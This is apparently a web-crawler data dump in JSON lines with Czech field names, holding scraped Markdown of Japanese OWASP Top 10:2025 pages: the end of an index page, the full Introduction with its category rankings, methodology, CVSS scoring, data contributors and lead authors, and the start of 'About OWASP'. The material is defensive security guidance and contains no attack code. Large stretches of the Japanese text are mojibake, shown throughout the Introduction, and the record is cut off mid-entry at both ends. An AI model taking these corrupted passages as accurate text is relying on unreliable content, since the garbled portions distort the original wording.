Failures)](A03_2025-Software_Supply_Chain_Failures/)\n4. [A04:2025 - 暗号化の不備 (Cryptographic Failures)](A04_2025-Cryptographic_Failures/)\n5. [A05:2025 - インジェクション (Injection)](A05_2025-Injection/)\n6. [A06:2025 - 安全性を欠いた設計 (Insecure Design)](A06_2025-Insecure_Design/)\n7. [A07:2025 - 認証の不備 (Authentication Failures)](A07_2025-Authentication_Failures/)\n8. [A08:2025 - ソフトウェアまたはデータの完全性の不備 (Software or Data Integrity Failures)](A08_2025-Software_or_Data_Integrity_Failures/)\n9. [A09:2025 - セキュリティログとアラートの不備 (Security Logging and Alerting Failures)](A09_2025-Security_Logging_and_Alerting_Failures/)\n10. [A10:2025 - 例外的な状況への不適切な対応 (Mishandling of Exceptional Conditions)](A10_2025-Mishandling_of_Exceptional_Conditions/)\n\n---\n\n**注記:** 翻訳版は、利用可能になり次第随時追加されます。", "znaku_textu": 1893, "slov": 143, "odkazu": 34, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:23", "sha256": "543405af07378eded543b6cf2defd104af63f49c84760f7bc8f5d628297fd1af", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/www-project-top-ten", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ja/0x00_2025-Introduction/", "titulek": "Introduction - OWASP Top 10:2025", "h1": "最も重大なウェブアプリケーションリスク トップ10 (The Ten Most Critical Web Application Security Risks)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ja/0x00_2025-Introduction/", "jazyk": "ja", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "最も重大なウェブアプリケーションリスク トップ10 (The Ten Most Critical Web Application Security Risks)"}, {"uroven": 1, "text": "イントロダクション (Introduction)"}, {"uroven": 2, "text": "OWASP Top 10:2025 の紹介"}, {"uroven": 2, "text": "2025年版における主な変更点"}, {"uroven": 2, "text": "手法 (Methodology)"}, {"uroven": 2, "text": "カテゴリの構é€"}, {"uroven": 2, "text": "カテゴリ選定におけるデータの活用"}, {"uroven": 2, "text": "コミュニティ調査の意義"}, {"uroven": 2, "text": "データ提供者の皆様への謝辞"}, {"uroven": 2, "text": "主執筆者 (Lead Authors)"}, {"uroven": 2, "text": "čŞ˛éĄŒăŽĺ ąĺ‘ŠăŠă‚ˆăłăƒ—ăƒŤăƒŞă‚Żă‚¨ă‚šăƒˆ"}, {"uroven": 3, "text": "プロジェクトリンク:"}], "markdown": "# 最も重大なウェブアプリケーションリスク トップ10 (The Ten Most Critical Web Application Security Risks)\n\n# イントロダクション (Introduction)\n\n珏8版となる「OWASP Top 10」へようこそ!\n\nデータ提供や調査にご協力いただいた皆様に、心より感謝申し上げます。皆様の知見なしには、今回の更新は成し得ませんでした。 **ありがとうございます!**\n\n## OWASP Top 10:2025 の紹介\n\n- [A01:2025 - アクセス制御の不備 (Broken Access Control)](../A01_2025-Broken_Access_Control/)\n- [A02:2025 - セキュリティ設定の不備 (Security Misconfiguration)](../A02_2025-Security_Misconfiguration/)\n- [A03:2025 - ソフトウェアサプライチェーンの不備 (Software Supply Chain Failures)](../A03_2025-Software_Supply_Chain_Failures/)\n- [A04:2025 - 暗号化の不備 (Cryptographic Failures)](../A04_2025-Cryptographic_Failures/)\n- [A05:2025 - インジェクション (Injection)](../A05_2025-Injection/)\n- [A06:2025 - ĺŽ‰ĺ…¨ć€§ă‚’ćŹ ă„ăŸč¨­č¨ˆ (Insecure Design)](../A06_2025-Insecure_Design/)\n- [A07:2025 - 認証の不備 (Authentication Failures)](../A07_2025-Authentication_Failures/)\n- [A08:2025 - ソフトウェアまたはデータの完全性の不備 (Software or Data Integrity Failures)](../A08_2025-Software_or_Data_Integrity_Failures/)\n- [A09:2025 - セキュリティログとアラートの不備 (Security Logging and Alerting Failures)](../A09_2025-Security_Logging_and_Alerting_Failures/)\n- [A10:2025 - 例外的な状況への不適切な対応 (Mishandling of Exceptional Conditions)](../A10_2025-Mishandling_of_Exceptional_Conditions/)\n\n## 2025年版における主な変更点\n\n2025年版では、2つのカテゴリが新設され、1つが統合されました。私たちは、表面的な「症状 (symptoms)ă€ă§ăŻăŞăă€ĺŻčƒ˝ăŞé™ă‚Šă€Œć šćœŹĺŽŸĺ› (root cause)」に焦点を当てるよう努めています。ソフトウェア開発とセキュリティの複雑さを考慮すると、カテゴリ間の重複を完全になくすことは事実上不可能です。\n\n- **[A01:2025 - アクセス制御の不備](../A01_2025-Broken_Access_Control/)** は、最も深刻なリスクとして引き続き第1位となりました。テストされたアプリケーションの平均3.73%に、本カテゴリの40ぎCWE(共通弱点一覧 (Common Weakness Enumerations))が1ă¤äťĽä¸ŠĺŤăžă‚ŒăŚă„ăžă™ă€‚ä¸Šĺ›łăŽç ´çˇšăŒç¤şă™é€šă‚Šă€ă‚ľăƒźăƒăƒźă‚ľă‚¤ăƒ‰ăƒŞă‚Żă‚¨ă‚šăƒˆăƒ•ă‚Šăƒźă‚¸ă‚§ăƒŞ (SSRF: Server-Side Request Forgery) は本カテゴリに統合されました。\n- **[A02:2025 - セキュリティ設定の不備](../A02_2025-Security_Misconfiguration/)** は、2021嚴ぎ珏5位から第2位へと上昇しました。今回のデータでは設定の不備がより顕著に見られ、アプリケーションの3.00%に本カテゴリの16ぎCWEăŒĺŤăžă‚ŒăŚă„ăžă™ă€‚ă‚˝ăƒ•ăƒˆă‚Śă‚§ă‚˘ă‚¨ăƒłă‚¸ăƒ‹ă‚˘ăƒŞăƒłă‚°ăŤăŠă„ăŚă€ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŽćŒ™ĺ‹•ăŒč¨­ĺŽšăŤäžĺ­˜ă™ă‚‹ĺ‰˛ĺˆăŒĺ˘—ăˆçśšă‘ăŚă„ă‚‹çžçŠśă‚’ĺć˜ ă—ăŚă„ăžă™ă€‚\n- **[A03:2025 - ソフトウェアサプライチェーンの不備](../A03_2025-Software_Supply_Chain_Failures/)** は、2021年版の「 [脆弱で古くなったコンポーネント (A06:2021-Vulnerable and Outdated Components)](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/) 」を拡張したものです。依存関係、ビルドシステム、配布インフラの全体にわたる侵害を対象としています。本カテゴリはコミュニティ調査で圧倒的な票を集めました。本カテゴリは5つぎCWEă‚’ĺŤăżă€ĺŽé›†ăƒ‡ăƒźă‚żä¸ŠăŽĺ‡şçžé ťĺşŚăŻé™ĺŽšçš„ă§ă™ăŒă€ă“ă‚ŒăŻăƒ†ă‚šăƒˆăŽĺ›°é›Łă•ăŒĺŽŸĺ› ă¨č€ƒăˆă‚‰ă‚Œă€ă“ăŽĺˆ†é‡Žă§ăŽăƒ†ă‚šăƒˆć‰‹ćł•ăŽç™şĺą•ă‚’ćœŸĺž…ă—ăŚă„ăžă™ă€‚ăƒ‡ăƒźă‚żä¸Šă§ćœ€ă‚‚ĺ‡şçžé ťĺşŚăŒä˝Žă„ä¸€ć–šă§ă€CVEにおける平均的な悪用可能性 (Exploit) と影響 (Impact) のスコアは最も高くなっています。\n- **[A04:2025 - 暗号化の不備](../A04_2025-Cryptographic_Failures/)** は、第2位から第4位へ後退しました。平均3.80%のアプリケーションに、本カテゴリの32ぎCWEăŒĺŤăžă‚ŒăŚă„ăžă™ă€‚ćœŹä¸ĺ‚™ăŻă€ćŠŸĺŻ†ćƒ…ĺ ąăŽéœ˛ĺ‡ş (sensitive data exposure) やシステムの侵害 (system compromise) を招く恐れがあります。\n- **[A05:2025 - インジェクション](../A05_2025-Injection/)** は、第3位から第5ä˝ă¸é †ä˝ă‚’ä¸‹ă’ăžă—ăŸăŒă€ćš—ĺˇĺŒ–ăŽä¸ĺ‚™ă‚„ĺŽ‰ĺ…¨ć€§ă‚’ćŹ ă„ăŸč¨­č¨ˆă¨ăŽç›¸ĺŻžçš„ăŞä˝ç˝Žé–˘äż‚ăŻçś­ćŒă—ăŚă„ăžă™ă€‚ćœ€ă‚‚ĺ¤šăăƒ†ă‚šăƒˆă•ă‚ŒăŚă„ă‚‹ă‚Ťăƒ†ă‚´ăƒŞăŽä¸€ă¤ă§ă‚ă‚Šă€38ぎCWEに関連するCVE数が最大です。インジェクションには、クロスサイトスクリプティング (XSS)ďźˆéŤ˜é ťĺşŚăƒťä˝Žĺ˝ąéŸżďź‰ă‹ă‚‰SQLă‚¤ăƒłă‚¸ă‚§ă‚Żă‚ˇăƒ§ăƒłďźˆä˝Žé ťĺşŚăƒťéŤ˜ĺ˝ąéŸżďź‰ăžă§ă€ĺš…ĺşƒă„č„†ĺźąć€§ăŒĺŤăžă‚Œăžă™ă€‚\n- **[A06:2025 - ĺŽ‰ĺ…¨ć€§ă‚’ćŹ ă„ăŸč¨­č¨ˆ](../A06_2025-Insecure_Design/)** は、セキュリティ設定の不備とソフトウェアサプライチェーンの不備に追い越され、第4位から第6ä˝ă¸é †ä˝ă‚’ä¸‹ă’ăžă—ăŸă€‚2021年の導入以来、脅威モデリング (threat modeling) の普及など、安全な設計への意識向上と業界の進展が見られます。\n- **[A07:2025 - 認証の不備](../A07_2025-Authentication_Failures/)** は、第7位を維持しました。旧名称「 [識別と認証の不備 (Identification and Authentication Failures)](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/) 」から、本カテゴリの36ぎCWEă‚’ă‚ˆă‚Šć­Łç˘şăŤĺć˜ ă™ă‚‹ăŸă‚ĺç§°ă‚’ĺ¤‰ć›´ă—ăžă—ăŸă€‚äžç„śă¨ă—ăŚé‡čŚăŞé ˜ĺŸŸă§ă™ăŒă€ć¨™ćş–çš„ăŞčŞč¨źăƒ•ăƒŹăƒźăƒ ăƒŻăƒźă‚ŻăŽć´ťç”¨ăŤă‚ˆă‚Šă€ä¸ĺ‚™ăŽç™şç”ŸăŒćŠ‘ĺˆśă•ă‚Œĺ§‹ă‚ăŚă„ăžă™ă€‚\n- **[A08:2025 - ソフトウェアまたはデータの完全性の不備](../A08_2025-Software_or_Data_Integrity_Failures/)** は、引き続き第8ä˝ă§ă™ă€‚ă‚˝ăƒ•ăƒˆă‚Śă‚§ă‚˘ă‚ľăƒ—ăƒŠă‚¤ăƒă‚§ăƒźăƒłăŽä¸ĺ‚™ă‚ˆă‚Šă‚‚ä˝Žă„ăƒŹăƒ™ăƒŤă§ă€äżĄé źĺ˘ƒç•ŒăŽçś­ćŒă‚„ă€ă‚˝ăƒ•ăƒˆă‚Śă‚§ă‚˘ăƒťă‚łăƒźăƒ‰ăƒťăƒ‡ăƒźă‚żăŽĺŽŒĺ…¨ć€§ć¤œč¨źăŽĺ¤ąć•—ăŤç„Śç‚šă‚’ĺ˝“ăŚăŚă„ăžă™ă€‚\n- **[A09:2025 - セキュリティログとアラートの不備](../A09_2025-Security_Logging_and_Alerting_Failures/)** は、第9位を維持しました。旧名称「 [セキュリティログと監視の不備 (Security Logging and Monitoring Failures)](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/) 」から、適切なアクションを促す「アラート機能」を強調するため名称を変更しました。アラートを伴わないログ出力には、インシデント特定においてほとんど価値がありません。本カテゴリはデータ上で常に過小評価される傾向にあり、今回もコミュニティ調査によってリストに選出されました。\n- **[A10:2025 - 例外的な状況への不適切な対応](../A10_2025-Mishandling_of_Exceptional_Conditions/)** は、2025ĺš´ç‰ˆăŽć–°ă‚Ťăƒ†ă‚´ăƒŞă§ă™ă€‚ă‚¨ăƒŠăƒźĺ‡Śç†ăŽä¸ĺ‚™ă‚„ăƒ­ă‚¸ăƒƒă‚Żă‚¨ăƒŠăƒźă€ăƒ•ă‚§ă‚¤ăƒŤă‚Şăƒźăƒ—ăƒłăŞăŠă€ç•°ĺ¸¸çŠść…‹ăŤčľˇĺ› ă™ă‚‹24ぎCWEを含みます。\n\n## 手法 (Methodology)\n\n今回の OWASP Top 10 も、データに基づいた判断 (data-informed) を行っていますが、盲目的なデータ至上主義 (data-driven) ではありません。統計データから12のカテゴリをランク付けし、そのうち2ă¤ă‚’ă‚łăƒŸăƒĽăƒ‹ăƒ†ă‚ŁčŞżćŸťăŽçľćžœăŤĺŸşăĽă„ăŚé¸ĺ‡şăƒťĺźˇčŞżă—ăžă—ăŸă€‚ă“ă‚ŒăŤăŻć šćœŹçš„ăŞç†ç”ąăŒă‚ă‚Šăžă™ă€‚çľąč¨ˆăƒ‡ăƒźă‚żă‚’ĺˆ†ćžă™ă‚‹ă“ă¨ăŻă€ćœŹčłŞçš„ăŤă€ŒéŽĺŽťă€ă‚’čŚ‹ă‚‹ă“ă¨ă ă‹ă‚‰ă§ă™ă€‚ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłă‚ťă‚­ăƒĽăƒŞăƒ†ă‚ŁăŽç ”çŠśč€…ăŻă€ć–°ă—ă„č„†ĺźąć€§ăŽç‰šĺŽšă‚„ć–°ă—ă„ăƒ†ă‚šăƒˆć‰‹ćł•ăŽé–‹ç™şăŤć™‚é–“ă‚’č˛ťă‚„ă—ăŚă„ăžă™ă€‚ă“ă‚Œă‚‰ăŽăƒ†ă‚šăƒˆă‚’ăƒ„ăƒźăƒŤă‚„ăƒ—ăƒ­ă‚ťă‚šăŤçľąĺˆă™ă‚‹ăŤăŻć•°é€ąé–“ă‹ă‚‰ć•°ĺš´ă‹ă‹ă‚Šăžă™ă€‚ĺ¤§čŚć¨ĄăŤč„†ĺźąć€§ă‚’ç˘şĺŽŸăŤăƒ†ă‚šăƒˆă§ăă‚‹ă‚ˆă†ăŤăŞă‚‹é ƒăŤăŻă€ä˝•ĺš´ă‚‚çľŒéŽă—ăŚă„ă‚‹ĺŻčƒ˝ć€§ăŒă‚ă‚Šăžă™ă€‚ăžăŸă€ç˘şĺŽŸăŤăƒ†ă‚šăƒˆă™ă‚‹ă“ă¨ăŒă§ăăšă€ăƒ‡ăƒźă‚żăŤçžă‚Œă‚‹ă“ă¨ăŒăŞă„é‡čŚăŞăƒŞă‚šă‚Żă‚‚ĺ­˜ĺœ¨ă—ăžă™ă€‚ă“ăŽă‚ˆă†ăŞčŚłç‚šăŽăƒăƒŠăƒłă‚šă‚’ĺ–ă‚‹ăŸă‚ă€çžĺ ´ăŽćœ€ĺ‰çˇšăŤă„ă‚‹ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłă‚ťă‚­ăƒĽăƒŞăƒ†ă‚Łă‚„é–‹ç™şăŽĺŽŸĺ‹™č€…ăŤă€ăƒ†ă‚šăƒˆăƒ‡ăƒźă‚żă§ăŻéŽĺ°čŠ•äžĄă•ă‚ŒăŚă„ă‚‹ĺŻčƒ˝ć€§ăŽă‚ă‚‹é‡čŚăŞăƒŞă‚šă‚ŻăŤă¤ă„ăŚć„čŚ‹ă‚’ćą‚ă‚ă‚‹ă‚łăƒŸăƒĽăƒ‹ăƒ†ă‚ŁčŞżćŸťă‚’ĺŽŸć–˝ă—ăŚă„ăžă™ă€‚\n\n## カテゴリの構é€\n\n前バージョンの OWASP Top 10 からいくつかのカテゴリが変更されました。以下はカテゴリ変更の概要です。\n\n今回は、2021年版のようなCWEの制限を設けずにデータを募集しました。特定の年(2021年以降)にテストされたアプリケーション数と、テストでCWEが1つ以上見つかったアプリケーション数を求めました。この形式により、アプリケーション全体におけるCWEăŽć™ŽĺŠçŽ‡ă‚’čż˝čˇĄă§ăăžă™ă€‚ç§ăŸăĄăŽç›Žçš„ă§ăŻé ťĺşŚăŻç„ĄčŚ–ă—ăŚă„ăžă™ă€‚é ťĺşŚăŻäť–ăŽçŠśćłă§ăŻĺż…čŚă‹ă‚‚ă—ă‚Œăžă›ă‚“ăŒă€ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłĺ…¨ä˝“ăŤăŠă‘ă‚‹ĺŽŸéš›ăŽć™ŽĺŠçŽ‡ă‚’éš ă—ăŚă—ăžă†ă‹ă‚‰ă§ă™ă€‚ă‚ă‚‹ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŤCWEが4件あろうと4,000件あろうと、Top 10 の計算には含まれません。特に、手動テスターはアプリケーション内で何度繰り返されても脆弱性を1回だけ記載する傾向がありますが、自動テストフレームワークは脆弱性のすべてのインスタンスを個別にカウントするためです。分析対象のCWE数は、2017年の約30件から2021年の約400件、そして今回の589äťśă¸ă¨ĺ˘—ĺŠ ă—ăžă—ăŸă€‚ĺ°†ćĽçš„ăŤăŻčż˝ĺŠ ăŽăƒ‡ăƒźă‚żĺˆ†ćžă‚’čŁœčśłă¨ă—ăŚčĄŒă†äşˆĺŽšă§ă™ă€‚ă“ăŽCWEć•°ăŽĺ¤§ĺš…ăŞĺ˘—ĺŠ ăŤäź´ă„ă€ă‚Ťăƒ†ă‚´ăƒŞć§‹é€ ăŽĺ¤‰ć›´ăŒĺż…čŚă¨ăŞă‚Šăžă—ăŸă€‚\n\nCWEのグループ化と分類には数ヶ月を費やしましたが、さらに続けることもできました。どこかで区切りをつける必要がありました。CWEăŤăŻă€Œć šćœŹĺŽŸĺ› (root cause)」タイプと「症状 (symptom)ă€ă‚żă‚¤ăƒ—ăŽä¸Ąć–šăŒă‚ă‚Šăžă™ă€‚ć šćœŹĺŽŸĺ› ă‚żă‚¤ăƒ—ăŻă€Œćš—ĺˇĺŒ–ăŽä¸ĺ‚™ă€ă‚„ă€Œč¨­ĺŽšăŽä¸ĺ‚™ă€ăŞăŠă§ă‚ă‚Šă€ç—‡çŠśă‚żă‚¤ăƒ—ăŻă€ŒćŠŸĺŻ†ćƒ…ĺ ąăŽéœ˛ĺ‡şă€ă‚„ă€Œă‚ľăƒźăƒ“ă‚šć‹’ĺŚă€ăŞăŠă§ă™ă€‚ç§ăŸăĄăŻă€ç‰šĺŽšă¨äżŽć­ŁăŽă‚Źă‚¤ăƒ€ăƒłă‚šă‚’ćäž›ă™ă‚‹ă†ăˆă§ă‚ˆă‚ŠčŤ–ç†çš„ă§ă‚ă‚‹ăŸă‚ă€ĺŻčƒ˝ăŞé™ă‚Šć šćœŹĺŽŸĺ› ăŤç„Śç‚šă‚’ĺ˝“ăŚă‚‹ă“ă¨ăŤă—ăžă—ăŸă€‚ç—‡çŠśă‚ˆă‚Šă‚‚ć šćœŹĺŽŸĺ› ăŤç„Śç‚šă‚’ĺ˝“ăŚă‚‹ă“ă¨ăŻć–°ă—ă„ćŚ‚ĺżľă§ăŻă‚ă‚Šăžă›ă‚“ă€‚Top 10 ăŻă“ă‚Œăžă§ă‚‚ç—‡çŠśă¨ć šćœŹĺŽŸĺ› ăŒćˇˇĺœ¨ă—ăŚă„ăžă—ăŸă€‚CWEă‚‚ç—‡çŠśă¨ć šćœŹĺŽŸĺ› ăŒćˇˇĺœ¨ă—ăŚă„ăžă™ă€‚ç§ăŸăĄăŻĺ˜ăŤăă‚Œă‚’ă‚ˆă‚Šć„č­˜çš„ăŤć˜Žç¤şă—ăŚă„ă‚‹ă ă‘ă§ă™ă€‚äťŠĺ›žăŽă‚Ťăƒ†ă‚´ăƒŞă‚ăŸă‚ŠăŽĺšłĺ‡CWE数は25件で、A03:2025(ソフトウェアサプライチェーンの不備)とA09:2025(セキュリティログとアラートの不備)の5件から、A01:2025(アクセス制御の不備)の40件までの範囲となっています。1カテゴリあたりのCWE数を40äťśăŤĺˆśé™ă™ă‚‹ćąşĺŽšă‚’čĄŒă„ăžă—ăŸă€‚ă“ăŽć›´ć–°ă•ă‚ŒăŸă‚Ťăƒ†ă‚´ăƒŞć§‹é€ ăŻă€äźćĽ­ăŒč¨€čŞžă‚„ăƒ•ăƒŹăƒźăƒ ăƒŻăƒźă‚ŻăŤéŠă—ăŸCWEに集中できるため、トレーニング上の利点も提供します。\n\nMITRE Top 25 Most Dangerous Software Weaknesses のように、Top 10 を10個のCWEのリストに変更しないのかという質問を受けることがあります。カテゴリに複数のCWEを使用する主な理由は2つあります。第一に、すべてのCWEがすべてのプログラミング言語やフレームワークに存在するわけではないからです。これにより、Top 10 ăŽä¸€éƒ¨ăŒéŠç”¨ă§ăăŞă„ĺ ´ĺˆă€ăƒ„ăƒźăƒŤă‚„ăƒˆăƒŹăƒźăƒ‹ăƒłă‚°ăƒťĺ•“ç™şăƒ—ăƒ­ă‚°ăƒŠăƒ ăŤĺ•éĄŒăŒç”Ÿă˜ăžă™ă€‚çŹŹäşŒăŤă€ä¸€čˆŹçš„ăŞč„†ĺźąć€§ăŤăŻč¤‡ć•°ăŽCWEăŒĺ­˜ĺœ¨ă™ă‚‹ă‹ă‚‰ă§ă™ă€‚ăŸă¨ăˆă°ă€ä¸€čˆŹçš„ăŞă‚¤ăƒłă‚¸ă‚§ă‚Żă‚ˇăƒ§ăƒłă€ă‚łăƒžăƒłăƒ‰ă‚¤ăƒłă‚¸ă‚§ă‚Żă‚ˇăƒ§ăƒłă€ă‚Żăƒ­ă‚šă‚ľă‚¤ăƒˆă‚šă‚ŻăƒŞăƒ—ăƒ†ă‚Łăƒłă‚°ă€ăƒăƒźăƒ‰ă‚łăƒźăƒ‰ă•ă‚ŒăŸăƒ‘ă‚šăƒŻăƒźăƒ‰ă€ć¤œč¨źăŽćŹ ĺŚ‚ă€ăƒăƒƒăƒ•ă‚Ąă‚Şăƒźăƒăƒźăƒ•ăƒ­ăƒźă€ćŠŸĺŻ†ćƒ…ĺ ąăŽĺšłć–‡äżĺ­˜ăŞăŠă€ĺ¤šăăŽč„†ĺźąć€§ăŤč¤‡ć•°ăŽCWEがあります。組織やテスターによって、異なるCWEăŒä˝żç”¨ă•ă‚Œă‚‹ĺ ´ĺˆăŒă‚ă‚Šăžă™ă€‚č¤‡ć•°ăŽCWEを含むカテゴリを使用することで、共通のカテゴリ名の下で発生する可能性のある様々な弱点の種類についてベースラインと認識を高めることができます。Top 10 2025 には、10のカテゴリ内に248ぎCWEが含まれています。本リリース時点で、[MITREからダウンロード可能な辞書](https://cwe.mitre.org)きは合計968ぎCWEがあります。\n\n## カテゴリ選定におけるデータの活用\n\n2021年版と同様に、CVEデータを活用して「悪用可能性 (Exploitability)」と「技術面への影響 ((Technical) Impact)」を算出しました。OWASP Dependency Check をダウンロードし、CVEに記載された関連CWEごとにCVSSぎExploitスコアとImpactスコアを抽出・グループ化しました。これには相当の調査と労力を要しました。すべてのCVEきはCVSSv2スコアがありますが、CVSSv2ăŤăŻćŹ é™ĽăŒă‚ă‚Šă€CVSSv3で対処されるべきものです。ある時点以降、すべてのCVEきはCVSSv3スコアも割り当てられています。また、CVSSv2とCVSSv3の間でスコアリング範囲と計算式が更新されました。\n\nCVSSv2では、ExploitとImpactの両方が最大10.0になる可能性がありましたが、計算式によりExploitは60%、Impactは40%に低減されていました。CVSSv3では、理論上の最大値はExploitが6.0、Impactが4.0に制限されました。重み付けを考慮すると、ImpactスコアはCVSSv3で平均約1.5ポイント高くなり、Exploitabilityは平均約0.5ポイント低くなりました。\n\nOWASP Dependency Check から抽出した National Vulnerability Database (NVD) には、CWEにマッピングされた約17万5千件(2021嚴ぎ12万5ĺƒäťśă‹ă‚‰ĺ˘—ĺŠ ďź‰ăŽCVEレコードがあります。また、CVEにマッピングされたユニークなCWEは643䝜2021嚴ぎ241äťśă‹ă‚‰ĺ˘—ĺŠ ďź‰ă‚ă‚Šăžă™ă€‚ćŠ˝ĺ‡şă•ă‚ŒăŸç´„22万件のCVEのうち、16万件がCVSS v2スコア、15万6千件がCVSS v3スコア、6千件がCVSS v4スコアを持っています。多くのCVEが複数のスコアを持つため、合計は22万件を超えます。\n\nTop 10 2025 では、以下の方法で平均ExploitスコアとImpactスコアを計算しました。CVSSスコアを持つすべてのCVEをCWEごとにグループ化し、CVSSv3を持つ母集団の割合と、残りのCVSSv2を持つ母集団でExploitスコアとImpactスコアの両方を重み付けして、全体の平均を算出しました。これらの平均をデータセット内のCWEにマッピングし、リスク方程式のもう半分としてExploitスコアと(技術面への)Impactスコアとして使用しました。\n\nCVSS v4.0 ă‚’ä˝żç”¨ă—ăŞă„ăŽăŻăŞăœă‹ă¨ć€ă‚ă‚Œă‚‹ă‹ă‚‚ă—ă‚Œăžă›ă‚“ă€‚ă“ă‚ŒăŻă€ă‚šă‚łă‚˘ăƒŞăƒłă‚°ă‚˘ăƒŤă‚´ăƒŞă‚şăƒ ăŒć šćœŹçš„ăŤĺ¤‰ć›´ă•ă‚Œă€CVSS v2やCVSSv3のように「Exploit」や「Impact」スコアを簡単に提供できなくなったためです。Top 10 の将来のバージョンでCVSS v4.0スコアを使用する方法を検討する予定ですが、2025年版では適時に対応する方法を見つけることができませんでした。\n\n## コミュニティ調査の意義\n\n統計データの結果は、業界が自動化された方法でテストできる範囲に大きく限定されています。経験豊富なAppSec専門家に話を聞けば、まだデータに現れていない発見やトレンドを教えてくれるでしょう。特定の脆弱性タイプのテスト手法を開発するには時間がかかり、さらにそれらのテストを自動化して大規模なアプリケーション群に対して実行するにはさらに時間がかかります。私たちが見つけるものはすべて過去を振り返っており、データに現れていない直近1年のトレンドを見逃している可能性があります。\n\nしたがって、データが不完全であるため、10カテゴリのうち8つのみをデータから選出しています。残りの2つのカテゴリはTop 10ă‚łăƒŸăƒĽăƒ‹ăƒ†ă‚ŁčŞżćŸťă‹ă‚‰é¸ĺ‡şă—ăŚă„ăžă™ă€‚ă“ă‚ŒăŤă‚ˆă‚Šă€çžĺ ´ăŽćœ€ĺ‰çˇšăŤă„ă‚‹ĺŽŸĺ‹™č€…ăŒă€ăƒ‡ăƒźă‚żăŤçžă‚ŒăŚă„ăŞă„ďźˆăă—ăŚć°¸äš…ăŤăƒ‡ăƒźă‚żăŤçžă‚ŒăŞă„ĺŻčƒ˝ć€§ăŽă‚ă‚‹ďź‰ćœ€ă‚‚éŤ˜ă„ăƒŞă‚šă‚Żă¨č€ƒăˆă‚‹ă‚‚ăŽăŤćŠ•çĽ¨ă§ăăžă™ă€‚\n\n## データ提供者の皆様への謝辞\n\n以下の組織(および複数の匿名提供者)から、280万件以上のアプリケーションに関する貴重なデータをご提供いただき、史上最大かつ最も包括的なアプリケーションセキュリティデータセットとなりました。皆さんのおかげです。ありがとうございました。\n\n- Accenture (Prague)\n- Anonymous (multiple)\n- Bugcrowd\n- Contrast Security\n- CryptoNet Labs\n- Intuitor SoftTech Services\n- Orca Security\n- Probely\n- Semgrep\n- Sonar\n- usd AG\n- Veracode\n- Wallarm\n\n## 主執筆者 (Lead Authors)\n\n- Andrew van der Stock - X: [@vanderaj](https://x.com/vanderaj)\n- Brian Glas - X: [@infosecdad](https://x.com/infosecdad)\n- Neil Smithline - X: [@appsecneil](https://x.com/appsecneil)\n- Tanya Janca - X: [@shehackspurple](https://x.com/shehackspurple)\n- Torsten Gigler - Mastodon: [@[email protected]](https://infosec.exchange/@torsten_gigler)\n\n## čŞ˛éĄŒăŽĺ ąĺ‘ŠăŠă‚ˆăłăƒ—ăƒŤăƒŞă‚Żă‚¨ă‚šăƒˆ\n\näżŽć­Łă‚„čŞ˛éĄŒăŽĺ ąĺ‘ŠăŻă“ăĄă‚‰ă‹ă‚‰ăŠéĄ˜ă„ă—ăžă™ă€‚\n\n### プロジェクトリンク:\n\n- [ホームページ](https://owasp.org/www-project-top-ten/)\n- [GitHub リポジトリ](https://github.com/OWASP/Top10)", "znaku_textu": 18123, "slov": 419, "odkazu": 38, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:14", "sha256": "76129452559914e1b1d19ca6b3f7ffe3dd9955a4576b428956098841fa3f5893", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cwe.mitre.org/", "https://x.com/vanderaj", "https://x.com/infosecdad", "https://x.com/appsecneil", "https://x.com/shehackspurple", "https://infosec.exchange/@torsten_gigler", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ja/0x01_2025-About_OWASP/", "titulek": "About OWASP - OWASP Top 10:2025", "h1": "OWASPについて (About OWASP)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ja/0x01_2025-About_OWASP/", "jazyk": "ja", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASPについて (About OWASP)"}, {"uroven": 2, "text": "著作権とライセンス (Copyright and License)"}], "markdown": "# OWASPについて (About OWASP)\n\nOpen Worldwide Application Security Project (OWASP) ăŻă€çľ„çš”ăŒäżĄé źă§ăă‚‹ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłă‚„APIを開発・調達・維持できるように支援する、オープンなコミュニティです。\n\nOWASPでは、以下のリソースを無料で公開しています。\n\n- アプリケーションセキュリティのツールと標準\n- ćœ€ĺ…ˆçŤŻăŽç ”çŠśćˆćžœ\n- 標準的なセキュリティ制御 (Security Controls) とライブラリ\n- セキュリティテスト、安全なコード開発、コードレビューに関する包括的なガイドブック\n- プレゼンテーション資料および [動画](https://www.youtube.com/user/OWASPGLOBAL)\n- 一般的なトピックを網羅した [チートシート (Cheat Sheets)](https://cheatsheetseries.owasp.org/)\n- 世界各地やオンラインで開催される [チャプター (Chapters) 会合](https://owasp.org/chapters/)\n- [イベント、トレーニング、カンファレンス](https://owasp.org/events/)\n- 